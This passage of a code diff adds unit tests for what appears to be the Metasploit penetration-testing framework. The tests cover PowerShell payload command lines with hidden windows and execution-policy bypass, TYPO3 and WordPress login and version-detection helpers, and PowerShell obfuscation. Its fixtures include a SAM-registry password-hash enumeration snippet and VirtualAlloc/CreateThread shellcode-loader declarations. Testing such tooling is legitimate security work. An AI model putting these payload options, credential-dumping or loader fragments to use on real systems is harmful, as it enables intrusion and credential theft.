||||
rescue RuntimeError
|
||||
except = true
|
||||
end
|
||||
except.should be_true
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context 'when encode_final_payload' do
|
||||
context 'when no_equals is false' do
|
||||
it 'should contain a final payload with -e' do
|
||||
code = subject.cmd_psh_payload(payload, arch, {:encode_final_payload => true, :no_equals => false})
|
||||
code.include?(' -e ').should be_true
|
||||
code.include?(' -c ').should be_false
|
||||
end
|
||||
end
|
||||
context 'when no_equals is true' do
|
||||
it 'should contain a final payload with -e' do
|
||||
code = subject.cmd_psh_payload(payload, arch, {:encode_final_payload => true, :no_equals => true})
|
||||
code.include?(' -e ').should be_true
|
||||
code.include?(' -c ').should be_false
|
||||
code.include?('=').should be_false
|
||||
end
|
||||
end
|
||||
context 'when encode_inner_payload is true' do
|
||||
it 'should raise an exception' do
|
||||
except = false
|
||||
begin
|
||||
subject.cmd_psh_payload(payload, arch, {:encode_final_payload => true, :encode_inner_payload => true})
|
||||
rescue RuntimeError
|
||||
except = true
|
||||
end
|
||||
except.should be_true
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context 'when remove_comspec' do
|
||||
it 'shouldnt contain %COMSPEC%' do
|
||||
code = subject.cmd_psh_payload(payload, arch, {:remove_comspec => true})
|
||||
code.include?('%COMSPEC%').should be_false
|
||||
end
|
||||
end
|
||||
|
||||
context 'when use single quotes' do
|
||||
it 'should wrap in single quotes' do
|
||||
code = subject.cmd_psh_payload(payload, arch, {:use_single_quotes => true})
|
||||
code.include?(' -c \'').should be_true
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "::generate_psh_command_line" do
|
||||
it 'should contain no full stop when :no_full_stop' do
|
||||
opts = {:no_full_stop => true}
|
||||
command = subject.generate_psh_command_line(opts)
|
||||
command.include?("powershell ").should be_true
|
||||
end
|
||||
|
||||
it 'should contain full stop unless :no_full_stop' do
|
||||
opts = {}
|
||||
command = subject.generate_psh_command_line(opts)
|
||||
command.include?("powershell.exe ").should be_true
|
||||
|
||||
opts = {:no_full_stop => false}
|
||||
command = subject.generate_psh_command_line(opts)
|
||||
command.include?("powershell.exe ").should be_true
|
||||
end
|
||||
|
||||
it 'should ensure the path should always ends with \\' do
|
||||
opts = {:path => "test"}
|
||||
command = subject.generate_psh_command_line(opts)
|
||||
command.include?("test\\powershell.exe ").should be_true
|
||||
|
||||
opts = {:path => "test\\"}
|
||||
command = subject.generate_psh_command_line(opts)
|
||||
command.include?("test\\powershell.exe ").should be_true
|
||||
end
|
||||
end
|
||||
|
||||
describe "::generate_psh_args" do
|
||||
it 'should return empty string for nil opts' do
|
||||
subject.generate_psh_args(nil).should eql ""
|
||||
end
|
||||
|
||||
command_args = [[:encodedcommand, "parp"],
|
||||
[:executionpolicy, "bypass"],
|
||||
[:inputformat, "xml"],
|
||||
[:file, "x"],
|
||||
[:noexit, true],
|
||||
[:nologo, true],
|
||||
[:noninteractive, true],
|
||||
[:mta, true],
|
||||
[:outputformat, 'xml'],
|
||||
[:sta, true],
|
||||
[:noprofile, true],
|
||||
[:windowstyle, "hidden"],
|
||||
[:command, "Z"]
|
||||
]
|
||||
|
||||
permutations = (0..command_args.length).to_a.combination(2).map{|i,j| command_args[i...j]}
|
||||
|
||||
permutations.each do |perms|
|
||||
opts = {}
|
||||
perms.each do |k,v|
|
||||
opts[k] = v
|
||||
it "should generate correct arguments for #{opts}" do
|
||||
opts[:shorten] = true
|
||||
short_args = subject.generate_psh_args(opts)
|
||||
opts[:shorten] = false
|
||||
long_args = subject.generate_psh_args(opts)
|
||||
|
||||
opt_length = opts.length - 1
|
||||
|
||||
short_args.should_not be_nil
|
||||
long_args.should_not be_nil
|
||||
short_args.count('-').should eql opt_length
|
||||
long_args.count('-').should eql opt_length
|
||||
short_args[0].should_not eql " "
|
||||
long_args[0].should_not eql " "
|
||||
short_args[-1].should_not eql " "
|
||||
long_args[-1].should_not eql " "
|
||||
|
||||
if opts[:command]
|
||||
long_args[-10..-1].should eql "-Command Z"
|
||||
short_args[-4..-1].should eql "-c Z"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,139 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/proto/http/response'
|
||||
require 'msf/http/typo3'
|
||||
|
||||
describe Msf::HTTP::Typo3 do
|
||||
subject do
|
||||
mod = ::Msf::Module.new
|
||||
mod.extend described_class
|
||||
mod
|
||||
end
|
||||
|
||||
let(:invalid_user) do
|
||||
"invalid"
|
||||
end
|
||||
|
||||
let(:invalid_password) do
|
||||
"invalid"
|
||||
end
|
||||
|
||||
let(:valid_user) do
|
||||
"admin"
|
||||
end
|
||||
|
||||
let(:valid_password) do
|
||||
"password"
|
||||
end
|
||||
|
||||
let(:valid_cookie) do
|
||||
"be_typo_user=e31843639e5e17b9600602f9378b6ff0"
|
||||
end
|
||||
|
||||
describe '#target_uri' do
|
||||
it 'returns an URI' do
|
||||
expect(subject.target_uri).to be_kind_of URI
|
||||
end
|
||||
end
|
||||
|
||||
describe '#typo3_url_login' do
|
||||
it 'ends with /typo3/index.php' do
|
||||
expect(subject.typo3_url_login).to end_with('/typo3/index.php')
|
||||
end
|
||||
end
|
||||
|
||||
describe '#typo3_url_backend' do
|
||||
it 'ends with /typo3/backend.php' do
|
||||
expect(subject.typo3_url_backend).to end_with('/typo3/backend.php')
|
||||
end
|
||||
end
|
||||
|
||||
describe '#typo3_admin_cookie_valid?' do
|
||||
it 'returns true when valid admin cookie' do
|
||||
allow(subject).to receive(:send_request_cgi) do
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.body = '<body class="test" id="typo3-backend-php">'
|
||||
res
|
||||
end
|
||||
|
||||
expect(subject.typo3_admin_cookie_valid?("#{valid_cookie};")).to eq(true)
|
||||
end
|
||||
|
||||
it 'returns false when invalid admin cookie' do
|
||||
allow(subject).to receive(:send_request_cgi) do
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res
|
||||
end
|
||||
|
||||
expect(subject.typo3_admin_cookie_valid?("invalid")).to eq(false)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#typo3_backend_login' do
|
||||
|
||||
it 'returns nil login page can not be reached' do
|
||||
allow(subject).to receive(:send_request_cgi) do
|
||||
res = Rex::Proto::Http::Response::E404.new
|
||||
res
|
||||
end
|
||||
|
||||
expect(subject.typo3_backend_login(valid_user, valid_password)).to be_nil
|
||||
end
|
||||
|
||||
it 'returns nil when login page can be reached but isn\'t a TYPO3' do
|
||||
allow(subject).to receive(:send_request_cgi) do
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.body = 'Hello World'
|
||||
res
|
||||
end
|
||||
|
||||
expect(subject.typo3_backend_login(valid_user, valid_password)).to be_nil
|
||||
end
|
||||
|
||||
it 'returns nil when TYPO3 credentials are invalid' do
|
||||
|
||||
allow(subject).to receive(:send_request_cgi) do |opts|
|
||||
if opts['uri'] == "/typo3/index.php" && opts['method'] == 'GET'
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.body = '<input type="hidden" id="rsa_e" name="e" value="10001" />'
|
||||
res.body << '<input type="hidden" id="rsa_n" name="n" value="B8C58D75B5F9DBCEBBF6FB96BDB9531C64C45DDED56D93B310FA9C79B9787E62C91157DD5842B2BC1D90C10251300571BEEF892776F25EAC80C2672A993B00DA2F1C966C3F70418274E1AC9C432F48F8CBD9D083F990905F7EC5BDFC1B5C93672E7ACBB3D935D0597864A1F732DD44B5C6E02344917543E33A36D68915B26DC9" />'
|
||||
elsif opts['uri'] == "/typo3/index.php" && opts['method'] == 'POST'
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.body = '<!-- ###LOGIN_ERROR### begin -->Login Failed<!-- ###LOGIN_ERROR### end -->'
|
||||
else
|
||||
res = Rex::Proto::Http::Response::E404.new
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
expect(subject.typo3_backend_login(invalid_user, invalid_password)).to be_nil
|
||||
end
|
||||
|
||||
it 'returns a cookie string when TYPO3 credentials are valid' do
|
||||
allow(subject).to receive(:send_request_cgi) do |opts|
|
||||
if opts['uri'] == "/typo3/index.php" && opts['method'] == 'GET'
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.body = '<input type="hidden" id="rsa_e" name="e" value="10001" />'
|
||||
res.body << '<input type="hidden" id="rsa_n" name="n" value="B8C58D75B5F9DBCEBBF6FB96BDB9531C64C45DDED56D93B310FA9C79B9787E62C91157DD5842B2BC1D90C10251300571BEEF892776F25EAC80C2672A993B00DA2F1C966C3F70418274E1AC9C432F48F8CBD9D083F990905F7EC5BDFC1B5C93672E7ACBB3D935D0597864A1F732DD44B5C6E02344917543E33A36D68915B26DC9" />'
|
||||
elsif opts['uri'] == "/typo3/index.php" && opts['method'] == 'POST'
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.headers['Set-Cookie'] = "#{valid_cookie};"
|
||||
elsif opts['uri'] == "/typo3/backend.php" && opts['method'] == 'GET'
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.body = '<body class="test" id="typo3-backend-php">'
|
||||
res
|
||||
else
|
||||
res = Rex::Proto::Http::Response::E404.new
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
expect(subject.typo3_backend_login(valid_user, valid_password)).to include(valid_cookie)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,57 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit'
|
||||
require 'rex/proto/http/response'
|
||||
require 'msf/http/wordpress'
|
||||
|
||||
describe Msf::HTTP::Wordpress::Base do
|
||||
subject do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend ::Msf::HTTP::Wordpress
|
||||
mod.send(:initialize)
|
||||
mod
|
||||
end
|
||||
|
||||
describe '#wordpress_and_online?' do
|
||||
before :each do
|
||||
allow(subject).to receive(:send_request_cgi) do
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.code = wp_code
|
||||
res.body = wp_body
|
||||
res
|
||||
end
|
||||
end
|
||||
|
||||
let(:wp_code) { 200 }
|
||||
|
||||
context 'when wp-content in body' do
|
||||
let(:wp_body) { '<a href="http://domain.com/wp-content/themes/a/style.css">' }
|
||||
it { expect(subject.wordpress_and_online?).to be_kind_of Rex::Proto::Http::Response }
|
||||
end
|
||||
|
||||
context 'when wlwmanifest in body' do
|
||||
let(:wp_body) { '<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="https://domain.com/wp-includes/wlwmanifest.xml" />' }
|
||||
it { expect(subject.wordpress_and_online?).to be_kind_of Rex::Proto::Http::Response }
|
||||
end
|
||||
|
||||
context 'when pingback in body' do
|
||||
let(:wp_body) { '<link rel="pingback" href="https://domain.com/xmlrpc.php" />' }
|
||||
it { expect(subject.wordpress_and_online?).to be_kind_of Rex::Proto::Http::Response }
|
||||
end
|
||||
|
||||
context 'when status code != 200' do
|
||||
let(:wp_body) { nil }
|
||||
let(:wp_code) { 404 }
|
||||
it { expect(subject.wordpress_and_online?).to be_nil }
|
||||
end
|
||||
|
||||
context 'when no match in body' do
|
||||
let(:wp_body) { 'Invalid body' }
|
||||
it { expect(subject.wordpress_and_online?).to be_nil }
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,73 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit'
|
||||
require 'rex/proto/http/response'
|
||||
require 'msf/http/wordpress'
|
||||
|
||||
describe Msf::HTTP::Wordpress::Login do
|
||||
subject do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend ::Msf::HTTP::Wordpress
|
||||
mod.send(:initialize)
|
||||
mod
|
||||
end
|
||||
|
||||
describe '#wordpress_login' do
|
||||
before :each do
|
||||
allow(subject).to receive(:send_request_cgi) do |opts|
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.code = 301
|
||||
if wp_redirect
|
||||
res['Location'] = wp_redirect
|
||||
else
|
||||
res['Location'] = opts['vars_post']['redirect_to']
|
||||
end
|
||||
res['Set-Cookie'] = wp_cookie
|
||||
res.body = 'My Homepage'
|
||||
res
|
||||
end
|
||||
end
|
||||
|
||||
let(:wp_redirect) { nil }
|
||||
|
||||
context 'when current Wordpress' do
|
||||
let(:wp_cookie) { 'wordpress_logged_in_1234=1234;' }
|
||||
it { expect(subject.wordpress_login('user', 'pass')).to eq(wp_cookie) }
|
||||
end
|
||||
|
||||
context 'when current Wordpress sec cookie' do
|
||||
let(:wp_cookie) { 'wordpress_sec_logged_in_1234=1234;' }
|
||||
it { expect(subject.wordpress_login('user', 'pass')).to eq(wp_cookie) }
|
||||
end
|
||||
|
||||
context 'when Wordpress 2.5' do
|
||||
let(:wp_cookie) { 'wordpress_asdf=1234;' }
|
||||
it { expect(subject.wordpress_login('user', 'pass')).to eq(wp_cookie) }
|
||||
end
|
||||
|
||||
context 'when Wordpress 2.0 user cookie' do
|
||||
let(:wp_cookie) { 'wordpressuser_1234=1234;' }
|
||||
it { expect(subject.wordpress_login('user', 'pass')).to eq(wp_cookie) }
|
||||
end
|
||||
|
||||
context 'when Wordpress 2.0 pass cookie' do
|
||||
let(:wp_cookie) { 'wordpresspass_1234=1234;' }
|
||||
it { expect(subject.wordpress_login('user', 'pass')).to eq(wp_cookie) }
|
||||
end
|
||||
|
||||
context 'when invalid login' do
|
||||
let(:wp_cookie) { 'invalid=cookie;' }
|
||||
it { expect(subject.wordpress_login('invalid', 'login')).to be_nil }
|
||||
end
|
||||
|
||||
context 'when invalid redirect' do
|
||||
let(:wp_cookie) { 'invalid=cookie;' }
|
||||
let(:wp_redirect) { '/invalid/redirect' }
|
||||
it { expect(subject.wordpress_login('invalid', 'login')).to be_nil }
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,134 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit'
|
||||
require 'rex/proto/http/response'
|
||||
require 'msf/http/wordpress'
|
||||
|
||||
describe Msf::HTTP::Wordpress::Version do
|
||||
subject do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend ::Msf::HTTP::Wordpress
|
||||
mod.send(:initialize)
|
||||
mod
|
||||
end
|
||||
|
||||
describe '#wordpress_version' do
|
||||
before :each do
|
||||
allow(subject).to receive(:send_request_cgi) do |opts|
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.code = 200
|
||||
res.body = wp_body
|
||||
res
|
||||
end
|
||||
end
|
||||
|
||||
let(:wp_version) {
|
||||
r = Random.new
|
||||
"#{r.rand(10)}.#{r.rand(10)}.#{r.rand(10)}"
|
||||
}
|
||||
|
||||
context 'when version from generator' do
|
||||
let(:wp_body) { '<meta name="generator" content="WordPress ' << wp_version << '" />' }
|
||||
it { expect(subject.wordpress_version).to eq(wp_version) }
|
||||
end
|
||||
|
||||
context 'when version from readme' do
|
||||
let(:wp_body) { " <br /> Version #{wp_version}" }
|
||||
it { expect(subject.wordpress_version).to eq(wp_version) }
|
||||
end
|
||||
|
||||
context 'when version from rss' do
|
||||
let(:wp_body) { "<generator>http://wordpress.org/?v=#{wp_version}</generator>" }
|
||||
it { expect(subject.wordpress_version).to eq(wp_version) }
|
||||
end
|
||||
|
||||
context 'when version from rdf' do
|
||||
let(:wp_body) { '<admin:generatorAgent rdf:resource="http://wordpress.org/?v=' << wp_version << '" />' }
|
||||
it { expect(subject.wordpress_version).to eq(wp_version) }
|
||||
end
|
||||
|
||||
context 'when version from atom' do
|
||||
let(:wp_body) { '<generator uri="http://wordpress.org/" version="' << wp_version << '">WordPress</generator>' }
|
||||
it { expect(subject.wordpress_version).to eq(wp_version) }
|
||||
end
|
||||
|
||||
context 'when version from sitemap' do
|
||||
let(:wp_body) { '<!-- generator="WordPress/' << wp_version << '" -->' }
|
||||
it { expect(subject.wordpress_version).to eq(wp_version) }
|
||||
end
|
||||
|
||||
context 'when version from opml' do
|
||||
let(:wp_body) { '<!-- generator="WordPress/' << wp_version << '" -->' }
|
||||
it { expect(subject.wordpress_version).to eq(wp_version) }
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
describe '#check_version_from_readme' do
|
||||
before :each do
|
||||
allow(subject).to receive(:send_request_cgi) do |opts|
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.code = wp_code
|
||||
res.body = wp_body
|
||||
res
|
||||
end
|
||||
end
|
||||
|
||||
let(:wp_code) { 200 }
|
||||
let(:wp_body) { nil }
|
||||
let(:wp_fixed_version) { nil }
|
||||
|
||||
context 'when no readme is found' do
|
||||
let(:wp_code) { 404 }
|
||||
it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Unknown) }
|
||||
end
|
||||
|
||||
context 'when no version can be extracted from readme' do
|
||||
let(:wp_code) { 200 }
|
||||
let(:wp_body) { 'invalid content' }
|
||||
it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Detected) }
|
||||
end
|
||||
|
||||
context 'when installed version is vulnerable' do
|
||||
let(:wp_code) { 200 }
|
||||
let(:wp_fixed_version) { '1.0.1' }
|
||||
let(:wp_body) { 'stable tag: 1.0.0' }
|
||||
it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Appears) }
|
||||
end
|
||||
|
||||
context 'when installed version is not vulnerable' do
|
||||
let(:wp_code) { 200 }
|
||||
let(:wp_fixed_version) { '1.0.1' }
|
||||
let(:wp_body) { 'stable tag: 1.0.2' }
|
||||
it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Safe) }
|
||||
end
|
||||
|
||||
context 'when installed version is vulnerable (version range)' do
|
||||
let(:wp_code) { 200 }
|
||||
let(:wp_fixed_version) { '1.0.2' }
|
||||
let(:wp_introd_version) { '1.0.0' }
|
||||
let(:wp_body) { 'stable tag: 1.0.1' }
|
||||
it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version, wp_introd_version)).to be(Msf::Exploit::CheckCode::Appears) }
|
||||
end
|
||||
|
||||
context 'when installed version is older (version range)' do
|
||||
let(:wp_code) { 200 }
|
||||
let(:wp_fixed_version) { '1.0.1' }
|
||||
let(:wp_introd_version) { '1.0.0' }
|
||||
let(:wp_body) { 'stable tag: 0.0.9' }
|
||||
it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version, wp_introd_version)).to be(Msf::Exploit::CheckCode::Safe) }
|
||||
end
|
||||
|
||||
context 'when installed version is newer (version range)' do
|
||||
let(:wp_code) { 200 }
|
||||
let(:wp_fixed_version) { '1.0.1' }
|
||||
let(:wp_introd_version) { '1.0.0' }
|
||||
let(:wp_body) { 'stable tag: 1.0.2' }
|
||||
it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version, wp_introd_version)).to be(Msf::Exploit::CheckCode::Safe) }
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,85 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/exploitation/powershell'
|
||||
|
||||
describe Rex::Exploitation::Powershell::Function do
|
||||
|
||||
let(:function_name) do
|
||||
Rex::Text.rand_text_alpha(15)
|
||||
end
|
||||
|
||||
let(:example_function_without_params) do
|
||||
"""
|
||||
{
|
||||
ls HKLM:\SAM\SAM\Domains\Account\Users |
|
||||
where {$_.PSChildName -match \"^[0-9A-Fa-f]{8}$\"} |
|
||||
Add-Member AliasProperty KeyName PSChildName -PassThru |
|
||||
Add-Member ScriptProperty Rid {[Convert]::ToInt32($this.PSChildName, 16)} -PassThru |
|
||||
Add-Member ScriptProperty V {[byte[]]($this.GetValue(\"V\"))} -PassThru |
|
||||
Add-Member ScriptProperty UserName {Get-UserName($this.GetValue(\"V\"))} -PassThru |
|
||||
Add-Member ScriptProperty HashOffset {[BitConverter]::ToUInt32($this.GetValue(\"V\")[0x9c..0x9f],0) + 0xCC} -PassThru
|
||||
}"""
|
||||
end
|
||||
|
||||
let(:example_function_with_params) do
|
||||
"""
|
||||
{
|
||||
Param
|
||||
(
|
||||
[OutputType([Type])]
|
||||
|
||||
[Parameter( Position = 0)]
|
||||
[Type[]]
|
||||
$Parameters = (New-Object Type[](0)),
|
||||
|
||||
[Parameter( Position = 1 )]
|
||||
[Type]
|
||||
$ReturnType = [Void],
|
||||
|
||||
[String]$Parpy='hello',
|
||||
[Integer] $puppy = 1,
|
||||
|
||||
[Array[]] $stuff = Array[],
|
||||
)
|
||||
|
||||
$Domain = [AppDomain]::CurrentDomain
|
||||
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
|
||||
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
|
||||
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
|
||||
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
|
||||
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
|
||||
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
|
||||
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
|
||||
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
|
||||
|
||||
Write-Output $TypeBuilder.CreateType()
|
||||
}"""
|
||||
end
|
||||
|
||||
describe "::initialize" do
|
||||
it 'should handle a function without params' do
|
||||
function = Rex::Exploitation::Powershell::Function.new(function_name, example_function_without_params)
|
||||
function.name.should eq function_name
|
||||
function.code.should eq example_function_without_params
|
||||
function.to_s.include?("function #{function_name} #{example_function_without_params}").should be_true
|
||||
function.params.should be_kind_of Array
|
||||
function.params.empty?.should be_true
|
||||
end
|
||||
|
||||
it 'should handle a function with params' do
|
||||
function = Rex::Exploitation::Powershell::Function.new(function_name, example_function_with_params)
|
||||
function.name.should eq function_name
|
||||
function.code.should eq example_function_with_params
|
||||
function.to_s.include?("function #{function_name} #{example_function_with_params}").should be_true
|
||||
function.params.should be_kind_of Array
|
||||
function.params.length.should be == 5
|
||||
function.params[0].klass.should eq 'Type[]'
|
||||
function.params[0].name.should eq 'Parameters'
|
||||
function.params[1].klass.should eq 'Type'
|
||||
function.params[1].name.should eq 'ReturnType'
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,232 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/exploitation/powershell'
|
||||
|
||||
describe Rex::Exploitation::Powershell::Obfu do
|
||||
|
||||
let(:example_script_without_literal) do
|
||||
"""
|
||||
function Find-4624Logons
|
||||
{
|
||||
|
||||
<#
|
||||
|
||||
multiline_comment
|
||||
|
||||
#>
|
||||
\r\n\r\n\r\n
|
||||
\r\n
|
||||
|
||||
lots \t of whitespace
|
||||
|
||||
\n\n\n\n\n
|
||||
\n\n
|
||||
|
||||
|
||||
# single_line_comment1
|
||||
# single_line_comment2
|
||||
#
|
||||
# single_line_comment3
|
||||
if (-not ($NewLogonAccountDomain -cmatch \"NT\\sAUTHORITY\" -or $NewLogonAccountDomain -cmatch \"Window\\sManager\"))
|
||||
{
|
||||
$Key = $AccountName + $AccountDomain + $NewLogonAccountName + $NewLogonAccountDomain + $LogonType + $WorkstationName + $SourceNetworkAddress + $SourcePort
|
||||
if (-not $ReturnInfo.ContainsKey($Key))
|
||||
{
|
||||
$Properties = @{
|
||||
LogType = 4624
|
||||
LogSource = \"Security\"
|
||||
SourceAccountName = $AccountName
|
||||
SourceDomainName = $AccountDomain
|
||||
NewLogonAccountName = $NewLogonAccountName
|
||||
NewLogonAccountDomain = $NewLogonAccountDomain
|
||||
LogonType = $LogonType
|
||||
WorkstationName = $WorkstationName
|
||||
SourceNetworkAddress = $SourceNetworkAddress
|
||||
SourcePort = $SourcePort
|
||||
Count = 1
|
||||
Times = @($Logon.TimeGenerated)
|
||||
}
|
||||
|
||||
$ResultObj = New-Object PSObject -Property $Properties
|
||||
$ReturnInfo.Add($Key, $ResultObj)
|
||||
}
|
||||
else
|
||||
{
|
||||
$ReturnInfo[$Key].Count++
|
||||
$ReturnInfo[$Key].Times += ,$Logon.TimeGenerated
|
||||
}
|
||||
}
|
||||
}
|
||||
}"""
|
||||
|
||||
end
|
||||
|
||||
let(:example_script) do
|
||||
"""
|
||||
function Find-4624Logons
|
||||
{
|
||||
|
||||
<#
|
||||
|
||||
multiline_comment
|
||||
|
||||
#>
|
||||
\r\n\r\n\r\n
|
||||
\r\n
|
||||
|
||||
lots \t of whitespace
|
||||
|
||||
\n\n\n\n\n
|
||||
\n\n
|
||||
|
||||
|
||||
# single_line_comment1
|
||||
# single_line_comment2
|
||||
#
|
||||
# single_line_comment3
|
||||
$some_literal = @\"
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
namespace $kernel32 {
|
||||
public class func {
|
||||
[Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }
|
||||
[Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 }
|
||||
[Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }
|
||||
[DllImport(\"kernel32.dll\")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
|
||||
[DllImport(\"kernel32.dll\")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
|
||||
[DllImport(\"kernel32.dll\")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds);
|
||||
}
|
||||
}
|
||||
\"@
|
||||
if (-not ($NewLogonAccountDomain -cmatch \"NT\\sAUTHORITY\" -or $NewLogonAccountDomain -cmatch \"Window\\sManager\"))
|
||||
{
|
||||
$Key = $AccountName + $AccountDomain + $NewLogonAccountName + $NewLogonAccountDomain + $LogonType + $WorkstationName + $SourceNetworkAddress + $SourcePort
|
||||
if (-not $ReturnInfo.ContainsKey($Key))
|
||||
{
|
||||
$Properties = @{
|
||||
LogType = 4624
|
||||
LogSource = \"Security\"
|
||||
SourceAccountName = $AccountName
|
||||
SourceDomainName = $AccountDomain
|
||||
NewLogonAccountName = $NewLogonAccountName
|
||||
NewLogonAccountDomain = $NewLogonAccountDomain
|
||||
LogonType = $LogonType
|
||||
WorkstationName = $WorkstationName
|
||||
SourceNetworkAddress = $SourceNetworkAddress
|
||||
SourcePort = $SourcePort
|
||||
Count = 1
|
||||
Times = @($Logon.TimeGenerated)
|
||||
}
|
||||
$literal2 = @\"parp\"@
|
||||
$ResultObj = New-Object PSObject -Property $Properties
|
||||
$ReturnInfo.Add($Key, $ResultObj)
|
||||
}
|
||||
else
|
||||
{
|
||||
$ReturnInfo[$Key].Count++
|
||||
$ReturnInfo[$Key].Times += ,$Logon.TimeGenerated
|
||||
}
|
||||
}
|
||||
}
|
||||
}"""
|
||||
|
||||
end
|
||||
|
||||
let(:subject) do
|
||||
Rex::Exploitation::Powershell::Script.new(example_script)
|
||||
end
|
||||
|
||||
let(:subject_no_literal) do
|
||||
Rex::Exploitation::Powershell::Script.new(example_script_without_literal)
|
||||
end
|
||||
|
||||
describe "::strip_comments" do
|
||||
it 'should strip a multiline comment' do
|
||||
subject.strip_comments
|
||||
subject.code.should be
|
||||
subject.code.should be_kind_of String
|
||||
subject.code.include?('comment').should be_false
|
||||
end
|
||||
|
||||
it 'should strip a single line comment' do
|
||||
subject.strip_comments
|
||||
subject.code.should be
|
||||
subject.code.should be_kind_of String
|
||||
subject.code.include?('#').should be_false
|
||||
end
|
||||
end
|
||||
|
||||
describe "::strip_empty_lines" do
|
||||
it 'should strip extra windows new lines' do
|
||||
subject.strip_empty_lines
|
||||
subject.code.should be
|
||||
subject.code.should be_kind_of String
|
||||
res = (subject.code =~ /\r\n\r\n/)
|
||||
res.should be_false
|
||||
end
|
||||
|
||||
it 'should strip extra unix new lines' do
|
||||
subject.strip_empty_lines
|
||||
subject.code.should be
|
||||
subject.code.should be_kind_of String
|
||||
res = (subject.code =~ /\n\n/)
|
||||
res.should be_false
|
||||
end
|
||||
end
|
||||
|
||||
describe "::strip_whitespace" do
|
||||
it 'should strip additional whitespace' do
|
||||
subject.strip_whitespace
|
||||
subject.code.should be
|
||||
subject.code.should be_kind_of String
|
||||
subject.code.include?('lots of whitespace').should be_true
|
||||
end
|
||||
end
|
||||
|
||||
describe "::sub_vars" do
|
||||
it 'should replace variables with unique names' do
|
||||
subject.sub_vars
|
||||
subject.code.should be
|
||||
subject.code.should be_kind_of String
|
||||
subject.code.include?('$kernel32').should be_false
|
||||
subject.code.include?('$Logon').should be_false
|
||||
end
|
||||
end
|
||||
|
||||
describe "::sub_funcs" do
|
||||
it 'should replace functions with unique names' do
|
||||
subject.sub_funcs
|
||||
subject.code.should be
|
||||
subject.code.should be_kind_of String
|
||||
subject.code.include?('Find-4624Logons').should be_false
|
||||
end
|
||||
end
|
||||
|
||||
describe "::standard_subs" do
|
||||
it 'should run all substitutions on a script with no literals' do
|
||||
subject_no_literal.standard_subs
|
||||
